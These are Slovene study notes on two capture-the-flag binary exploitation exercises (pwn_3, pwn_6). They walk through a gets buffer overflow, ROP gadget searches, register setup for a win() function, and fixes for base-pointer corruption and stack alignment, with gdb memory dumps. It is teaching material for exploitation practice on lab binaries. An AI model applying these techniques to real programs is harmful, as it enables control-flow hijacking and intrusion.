- pwn_3 in pwn_6
- `objdump -d main | grep "<win>"`
- `x/10gx $rsp`
- `objdump -d main | grep "<win>" -A 30`
- `rax` je splošnonamenski register, `eax` je isto, ampak 32-bit
- ```
  cmp    %rax,-0x8(%rbp)
  ```
- ^ vrednost, ki je za 8 odmaknjena od rbp se primerja z `rax`
- ```
  mov    %rdi,-0x8(%rbp)
  mov    %rsi,-0x10(%rbp)
  ```
- v `rdi` in `rsi` grejo argument ob klicu
- v bistvu primerjamo `0xdeadbeef` z argumentom (`0xdeadbeef` je v `rax` oz. `eax` , argument pa v `rdi` in tudi v `-0x8(%rbp)`)
- ```
  mov    $0xdeadbeef,%eax
  ```
- ^ tu se `0xdeadbeef` nastavi na `rax`
- ROP - return oriented programming:
  - ne samo zalaufamo neko zadevo, ampak chainamo majhne dele kode, da nastavimo registre tako, kot jih rabimo
  - ROP gadget
  - `ROPgadget --binary main`
  - gadgeti imajo majhno število ukazov in na koncu `ret`
  - na koncu imamo v funkcijah `leave` (premakne base pointer; `leave -> pop $rbp`) in `ret` (premakne ret_addr v instruction pointer; `ret -> pop $rip`)
  - na koncu je pri nas samo `ret` brez `leave` , ker se potem ne ukvarjamo s tistim, kar ostane na stacku
- hočemo nastaviti `rdi` in `rpi` na pravilno vrednost
- `ROPgadget --binary main | grep rdi`
- prav bi nam prišlo `pop rdi` - to premakne stvar, na katero kaže vrh stacka v `rdi`
- `ROPgadget --binary main | grep "pop rdi"`
- pop še premakne stack pointer za en naslov gor
- rabimo nastaviti še `rsi`
- `ROPgadget --binary main | grep "pop rsi" | grep ret`
- ```
  0x0000000000403b8a : pop rsi ; pop rbp ; ret
  ```
- ROP chain = chainani ROP gadgeti
- `x/20gx $rsp`

```
pwndbg> x/20gx $rsp
0x7ffefb4cdcc0: 0x4141414141414141      0x4141414141414141
0x7ffefb4cdcd0: 0x4141414141414141      0x4141414141414141
0x7ffefb4cdce0: 0x4242424242424242      0x000000000040384d
0x7ffefb4cdcf0: 0x00000000deadbeef      0x4343434343434343
0x7ffefb4cdd00: 0x0000000000403b8a      0x0000000badc0ffee
0x7ffefb4cdd10: 0x4444444444444444      0x0000000000402ea5
0x7ffefb4cdd20: 0x00007ffefb4cdd00      0x00007ffefb4cde08
0x7ffefb4cdd30: 0x00000000004a2e20      0x0000000000000002
0x7ffefb4cdd40: 0x03d12b2ca34d7772      0xfc2cdd3572097772
0x7ffefb4cdd50: 0x00007ffe00000000      0x0000000000000000
```

- ^ memory takoj po tem, ko se požene gets

```
*RBP  0x4242424242424242 ('BBBBBBBB')
*RSP  0x7ffefb4cdce8 —▸ 0x40384d (get_common_cache_info.constprop+349) ◂— pop rdi
*RIP  0x402f0e (main+26) ◂— ret
```

- na RBP so šli B-ji, pri vsakem pop se stack pointer premakne, RIP se je spremnil z `pop rip` oz. `ret`
- če res rabimo samo priti do "You win" dela, lahko samo skočimo na tist del funkcije win

```
402ece:       75 11                   jne    402ee1 <win+0x3c>
402ed0:       48 8d 05 39 91 07 00    lea    0x79139(%rip),%rax        # 47c010 <__rseq_flags+0xc>
402ed7:       48 89 c7                mov    %rax,%rdi
402eda:       e8 61 34 00 00          call   406340 <_IO_puts>
402edf:       eb 10                   jmp    402ef1 <win+0x4c>
402ee1:       48 8d 05 31 91 07 00    lea    0x79131(%rip),%rax        # 47c019 <__rseq_flags+0x15>
402ee8:       48 89 c7                mov    %rax,%rdi
402eeb:       e8 50 34 00 00          call   406340 <_IO_puts>
```

- ^ prvi puts nam najbrž napiše you win, drugi pa zou lose
- moramo skočiti na takoj po `jne` - `0x402ed0`

pwn_6:

- nujno rabiš ROP, ne samo da preskočiš na ustrezen if, ker imaš sedaj dva if-a
- lahko skočimo v prvi if in z ROP samo nastavimo `0x133tc0de`
- rabimo nastaviti samo `rsi`, ker bomo check za `rdi` (`a` oz. prvi argument) preskočili
- `ROPgadget --binary main | grep 'pop rsi' | grep 'ret'`
- `0x0000000000423e9e : pop rsi ; ret`

```
402efa:       48 39 45 a8             cmp    %rax,-0x58(%rbp)
402efe:       75 32                   jne    402f32 <win+0x4d>
402f00:       48 8d 05 09 91 07 00    lea    0x79109(%rip),%rax
402f07:       48 89 c6                mov    %rax,%rsi
402f0a:       48 8d 05 01 91 07 00    lea    0x79101(%rip),%rax
402f11:       48 89 c7                mov    %rax,%rdi
402f14:       e8 f7 35 00 00          call   406510 <_IO_new_fopen>
402f19:       48 89 45 f8             mov    %rax,-0x8(%rbp)
402f1d:       48 8b 55 f8             mov    -0x8(%rbp),%rdx
402f21:       48 8d 45 b0             lea    -0x50(%rbp),%rax
```

- skočimo takoj za `jne`, ne takoj na IO_new_fopen, ker se pred tem še nastavijo ustrezni argumenti za ta call
-
```
pwndbg> x/10gx $rsp
0x7fffb53dda00: 0x00007fffb53dda30      0x00000000004116c2
0x7fffb53dda10: 0x0000000000497c00      0x00000000004a70e8
0x7fffb53dda20: 0x0000000000000000      0x00000000004ae258
0x7fffb53dda30: 0x00007fffb53dda50      0x0000000000000001
0x7fffb53dda40: 0x00007fffb53ddae0      0x00000000004034f8
```
- ^ pred gets
-
```
Program received signal SIGBUS, Bus error.
```
- problem, ker prepisujemo bedarije v base pointer, ki se bo še rabil, ko se skače med funkcijami
- base pointer se spreminja ko skočimo ven iz neke funkcije
-
```
► 0x402f19 <win+52>    mov    qword ptr [rbp - 8], rax    <Cannot dereference [0x424242424242423a
```
- nekatere funkcije ne rabijo res base pointerja (kot puts v prejšnjem primeru), tu ko delamo z datotekami, pa ga ne smemo uničiti
- ob koncu funkcije, se `sp` premakne na `bp`; `bp` pa se premakne na prejšnji stack frame
- zato rabimo poleg `pop rsi` še `pop rbp`
- tu moramo zato skočiti na začetek win-a
- `rbp` vmes pokvarimo, ampak, ker win zaženemo od začetka, se `bp` premakne nazaj dol tja, kjer se je stack pointer končal (stack pointerja nismo pokvarili, tako da je ok)
- pri pop-ih skačimo po 8B, zato se lahko zgodi, da ima `sp` na koncu 08, kar je lahko problem, ker rabi biti včasih poravnan na `00` (za klice npr. exec funkcije) - tega se lahko znebimo tako, da dodamo še en gadget pred win in bo win sedaj zamaknjen na `00`